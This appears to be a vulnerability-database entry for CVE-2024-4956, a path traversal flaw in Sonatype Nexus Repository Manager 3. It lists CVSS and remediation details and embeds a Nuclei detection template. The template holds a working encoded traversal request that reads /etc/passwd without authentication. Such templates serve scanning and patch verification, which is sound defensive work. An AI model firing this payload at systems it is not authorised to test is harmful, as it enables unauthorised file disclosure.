SecurityContext

CVE-2024-4956: Sonatype Nexus Repository Manager 3 - Local File Inclusion

Classification

  • Cwe: CWE-22
  • Cvss score: 7.5
  • Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
  • Epss score: 0.19154
  • Epss percentile: 0.97395
  • Cpe: cpe:2.3:a:sonatype:nexus:*:*:*:*:*:*:*:*

Metadata

  • Fofa-query: title="Nexus Repository Manager", title="nexus repository manager"
  • Max-request: 1
  • Product: nexus
  • Vendor: sonatype
  • Verified: yes

Products

ProductIndexedUrl
sonatype:nexusyes/v1/products/sonatype/nexus

Labels

  • Name: Sonatype Nexus Repository - Path Traversal
  • Impact: Unauthenticated attackers can access sensitive system files, potentially leading to information disclosure or system compromise.
  • Remediation: Upgrade to version 3.68.1 or later.
  • Vulnerability type: path_traversal
  • Vulnerability impact: information_disclosure, file_system_read
  • Requirement type: none
  • Labels source: projectdiscovery
  • From cve: CVE-2024-4956
  • Not known: requirements

```yaml

id: CVE-2024-4956

info:

name: Sonatype Nexus Repository Manager 3 - Local File Inclusion

author: ritikchaddha

severity: high

description: |

Path Traversal in Sonatype Nexus Repository 3 allows an unauthenticated attacker to read system files. Fixed in version 3.68.1.

impact: |

Unauthenticated attackers can read arbitrary system files via path traversal in Sonatype Nexus Repository.

remediation: |

Update Sonatype Nexus Repository 3 to version 3.68.1 or later.

reference:

- https://x.com/phithon_xg/status/1793517567560335428?s=46&t=GMMfJwV8rhJHdcj2TUympg

- https://nvd.nist.gov/vuln/detail/CVE-2024-4956

- https://support.sonatype.com/hc/en-us/articles/29416509323923

- https://github.com/fkie-cad/nvd-json-data-feeds

classification:

cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

cvss-score: 7.5

cve-id: CVE-2024-4956

cwe-id: CWE-22

epss-score: 0.19154

epss-percentile: 0.97395

cpe: cpe:2.3:a:sonatype:nexus:*:*:*:*:*:*:*:*

metadata:

verified: true

max-request: 1

vendor: sonatype

product: nexus

fofa-query:

- title="Nexus Repository Manager"

- title="nexus repository manager"

tags: cve,cve2024,nexus,lfi,sonatype,vuln,vkev

http:

- method: GET

path:

- "{{BaseURL}}/%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd"

matchers:

- type: dsl

dsl:

- regex('root:.*:0:0:', body)

- contains(header, "application/octet-stream")

- status_code == 200

condition: and

digest: 4b0a00483046022100a7cff88ce23c2bc0cf59fb793dd8204918c7f4cec2dcf90aaad54b0aa75437b4022100ceaed1fd4acbc69e273e8731e998fb75f6f2daf116b0f281529e4f16098e02a2:922c64590222798bb761d5b6d8e72950

```